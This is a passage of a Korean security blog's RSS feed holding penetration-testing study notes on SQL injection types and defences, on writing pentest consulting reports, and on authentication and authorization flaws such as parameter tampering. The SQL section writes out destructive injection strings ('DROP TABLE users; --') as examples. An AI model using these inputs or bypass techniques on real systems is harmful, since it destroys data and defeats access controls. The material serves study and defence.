&lt;p data-ke-size=&quot;size16&quot;&gt;- URL 파라미터 또는 XML 등 입력하는 부분에 SQL 구문 입력 후 서버에서 응답한 값에 대한 위험성 점검&lt;br /&gt;-&amp;nbsp;SQL문으로&amp;nbsp;해석될&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;값(글번호,&amp;nbsp;검색&amp;nbsp;내용&amp;nbsp;등)을&amp;nbsp;입력하여&amp;nbsp;데이터베이스내에&amp;nbsp;저장된&amp;nbsp;정보&amp;nbsp;열람&amp;nbsp;및&amp;nbsp;시스템&amp;nbsp;명령&amp;nbsp;실행가능&amp;nbsp;여부&amp;nbsp;점검&lt;br /&gt;- 조작된 XPath 쿼리를 보내어 비정상적인 질의 가능 여부 점검 등&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;[종류]&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;1. Union SQLi&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;: SQL 질의 결과가 화면에 출력되는 경우&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;2. Error Based SQLi&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;: SQL 에러가 발생하는 경우&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;3. Blind SQLi&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;: 위 두 가지 방식으로 확인이 불가능 한 경우 최후의 보루!&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;[SQL Injection이 발생하는 곳]&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;DB에게 SQL 질의문을 사용하는 곳&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;파라미터&lt;/b&gt;를 통해 SQL문(참, 거짓)을 넣어보면서 인젝션이 가능한지 여부를 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;취약점을 찾을 때에는!&lt;/span&gt; 서버 측에서 어떤 SQL 질의문이 완성되는지를 생각해봐야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자주 발생하는 곳 :&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;order by절&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;[공격 시나리오]&lt;/h3&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;1. 인증 우회&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL Injection을 통해 비밀번호 체크 로직을 우회하여 인증 없이 로그인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;2. 정보 유출&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL Injection을 통해 DB에서 민감한 정보를 추출&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; data-ke-type=&quot;horizontalRule&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;[대응 방법]&lt;/h3&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;1. &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Prepared&amp;nbsp;Statement&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL 쿼리에 사용되는 파라미터를 별도로 분리하여 처리하는 방식.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것으로 대부분 해결이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 다음 케이스에서 적용이 안 되기 때문에 주의해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;case1. order by&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Order by 절은 쿼리 결과를 정렬하는데 사용되는데, Prepared Statement를 사용하더라도 Order by 절에 대한 파라미터를 완전히 분리할 수 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어, &quot;SELECT * FROM users ORDER BY ?&quot; 와 같은 쿼리에서 ? 자리에 &quot;name; DROP TABLE users; --&quot; 와 같은 값이 들어올 경우 Prepared Statement로는 막을 수 없다. 이는 Order by 절이 컬럼명, 컬럼 순서, 별칭 등 다양한 방식으로 지정될 수 있어 단순 파라미터 분리가 어렵기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;따라서 파라미터에 sort나 ord가 있다면 무조건 확인해봐야 한다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Case2. table이름, coloum 이름&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테이블명, 컬럼명은 쿼리 구조에 해당하는 값이기 때문에 단순 파라미터로 분리하기 어려운 특성이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어, &quot;SELECT * FROM ? WHERE id = ?&quot;와 같이 테이블명을 파라미터로 받는 경우, 첫번째 ?에 &quot;users; DROP TABLE users; --&quot;와 같은 값이 들어오면 쿼리 조작이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;2. &lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;White&amp;nbsp;List&amp;nbsp;Filtering&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Prepared Statement를 사용하지 못하는 위 두 케이스의 경우 허용하는 특정 단어만 쓸 수 있도록 필터링을 하여 대응한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Order&amp;nbsp;by&amp;nbsp;절:&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;허용되는&amp;nbsp;컬럼명을&amp;nbsp;White&amp;nbsp;List로&amp;nbsp;관리하고,&amp;nbsp;파라미터로&amp;nbsp;전달되는&amp;nbsp;값이&amp;nbsp;White&amp;nbsp;List에&amp;nbsp;존재하는지&amp;nbsp;확인 &lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;테이블명/컬럼명:&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;허용되는&amp;nbsp;테이블명/컬럼명을&amp;nbsp;White&amp;nbsp;List로&amp;nbsp;관리하고,&amp;nbsp;파라미터로&amp;nbsp;전달되는&amp;nbsp;값이&amp;nbsp;White&amp;nbsp;List에&amp;nbsp;존재하는지&amp;nbsp;확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 White List 관리가 어려운 경우에는 파라미터로 전달되는 값에 대해 알파벳, 숫자, 언더바(_) 외의 문자가 존재하는지 검사하는 블랙리스트 방식의 필터링을 적용할 수도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>취약점 점검항목/금취분평</category>
      <author>hanse84</author>
      <guid isPermaLink="true">https://hanse84.tistory.com/33</guid>
      <comments>https://hanse84.tistory.com/33#entry33comment</comments>
      <pubDate>Tue, 19 Mar 2024 11:12:29 +0900</pubDate>
    </item>
    <item>
      <title>[18주차] 모의해킹 보안 컨설팅 보고서 작성 방법</title>
      <link>https://hanse84.tistory.com/32</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;보고서 개요&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보고서는 다음과 같은 구조로 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 모의해킹 수행 정보&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 1.1 개요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 1.2 대상&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 1.3 수행 기간&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 1.4 수행 인력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 1.5 취약점 점검 항목&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 모의해킹 결과&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 2.1 총평&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 2.2 결과 요약&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 취약점 상세 내용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 3.1 도메인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; 3.1.1 SQL Injection 등..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 보안 권고안&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 4.1 SQL Injection&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt; 1.5 취약점 점검 항목&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보통 &lt;u&gt;주통기반&lt;/u&gt;, &lt;u&gt;금취분평&lt;/u&gt; 등 클라이언트가 요청하는 방식으로 진행하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt; 2. 모의해킹 결과&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안 담당자가 보는 정보이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;총평 : 내가 클라이언트에게 내리는 진단으로서, 이러이러한 문제가 있으니, 이렇게 해결해 주세요. 의 내용이 들어가면 된다. 보통 1~2페이지 정도이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과 요약 : 어떤 취약점이 나왔는지 리스트, 도메인이 여러개더라도 합쳐서 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3. 취약점 상세 내용&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발자가 보는 정보이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이걸 보고 취약점을 수정해야 하기 때문에, 친절하고 자세히 작성해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 이 취약점들을 보완한 후 &lt;u&gt;&lt;b&gt;이행점검&lt;/b&gt;&lt;/u&gt;을 나가는 데, 그 때 &lt;b&gt;이 보고서를 기반으로 이행점검&lt;/b&gt; 하기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 분들 (내가 될 수도 있지만, 보통은 다른 분이 작업하게 된다.)을 위해서라도 친절하게 작성해 두는 것이 좋다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점 상세 내용에 있는 보안 권고안은 개발자에게 얘기해 주는 것이기 때문에, &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;u&gt;&lt;b&gt;이 취약점은 이렇게 고치세요&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;를 적어준다. 이 부분이 진짜 컨설팅이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;문서의 제목&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;@@@ 모의해킹 결과 보고서_20**0304_v0.8.doc&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;최종 완성본일 때 v1.0을 붙인다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;완성 전 보고서를 동료에게 전달할 때는 완성된 퍼센테이지만큼 표기하는 게 좋다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;당연한 기본&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;말투&lt;/b&gt;를 통일한다. (가능하면 존댓말)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;맞춤법&lt;/b&gt;이 틀리지 않도록 주의한다. (맞춤법 검사기를 활용하라.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;상대는 천만 원이 넘는 돈을 내고 받는 컨설팅의 결과물로 받는 보고서이니 만큼, 정말 잘 썼다 라는 생각이 들 만큼 신경써서 작성하자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>모의해킹 공부하기/모의해킹 수업 복습</category>
      <category>모의해킹 보고서 작성 방법</category>
      <category>보안컨설팅 보고서 작성 방법</category>
      <author>hanse84</author>
      <guid isPermaLink="true">https://hanse84.tistory.com/32</guid>
      <comments>https://hanse84.tistory.com/32#entry32comment</comments>
      <pubDate>Thu, 7 Mar 2024 00:12:27 +0900</pubDate>
    </item>
    <item>
      <title>[16주차] 인증 / 인가 취약점</title>
      <link>https://hanse84.tistory.com/31</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;인증 Athentication&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;:&amp;nbsp; 그 사람 본인이 맞는지 확인하는 작업&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 인증 과정에서 일어나는 취약점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 인증을 무시하는 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;인가 Athorization&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;: 특정인에게 특정 권한을 부여하는 것&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 원래는 못해야 하는 것을 하는 것.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 가지는 어디에 방점을 두냐에 따라 혼용해서 해석되기도 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;인가&lt;/span&gt; 취약점에 대한 &lt;span style=&quot;color: #006dd7;&quot;&gt;전략&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;: 로직 설계의 헛점을 찾는 것.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;1. 파라미터 변조&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;2. 직접 접근&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;u&gt;&lt;b&gt;케이스 분석&lt;/b&gt;&lt;/u&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;주석&lt;/span&gt;&lt;/u&gt;으로 접근을 제한하는 케이스 (클라이언트 측 인가, 권한 체크)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주석이 아닌, &lt;u&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;CSS로 display:none;&lt;/b&gt; &lt;/span&gt;&lt;/u&gt;이 되어있을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 경우 &lt;b&gt;Response 변조를 통해서 공략&lt;/b&gt;한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;인가 체크를 클라이어트 측에서 하고 있는 경우&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행되는 &lt;u&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;자바스크립트&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;로 찾아갈 수 있어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;확인/검사/검증&lt;/b&gt; 하는 것들은 모두 보안을 위해 &lt;b&gt;서버측에서 진행해야 한다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이어트에서 진행할 것들은 &lt;b&gt;편의성 기능&lt;/b&gt;들 (이메일 주소 중 @가 있는지 체크하는 정도의 간단한 것들)만 해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;위 취약점이 있다면 모두 우회가 가능하다.&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;위 취약점이 있으나, &lt;u&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;javascript가 난독화&lt;/span&gt;&lt;/u&gt; 되어 있는 경우&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;1. 읽을 수 있도록 &lt;b&gt;복구&lt;/b&gt; 시키던지&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;2. &lt;b&gt;동적 분석을 진행&lt;/b&gt;한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정적 분석 : 실행하지 않고, 코드를 읽으면서 분석&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동적 분석 : 분기문을 중점으로 코드를 직접 실행해보면서 분석&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;u&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Gusssing 공격&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추측을 통해 취약점을 찾는 것. (&lt;span style=&quot;color: #ee2323;&quot;&gt;파라미터 변조&lt;/span&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자(혹은 그 글쓴이) 외에는 못들어가는 페이지를 들어가거나,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보이지 않는 버튼을 누를 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단히 CSS나 주석을 통해서 안 보이게 해뒀을 수도 있고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;u&gt;&lt;b&gt;서버에서 필터링 해서 아예 안 보일수도 있다.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파라미터 변조 공격은 인가 취약점을 다룰 때 자주 사용하는 기법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 사람의 게시글 삭제 (내 글 삭제 시, 패킷을 intercept 후 다른 사람의 게시글 번호를 넣어 삭제하는 경우)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 사람의 정보 읽어오기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1:1 게시판 다른 사람 문의인데 보기&lt;/p&gt;
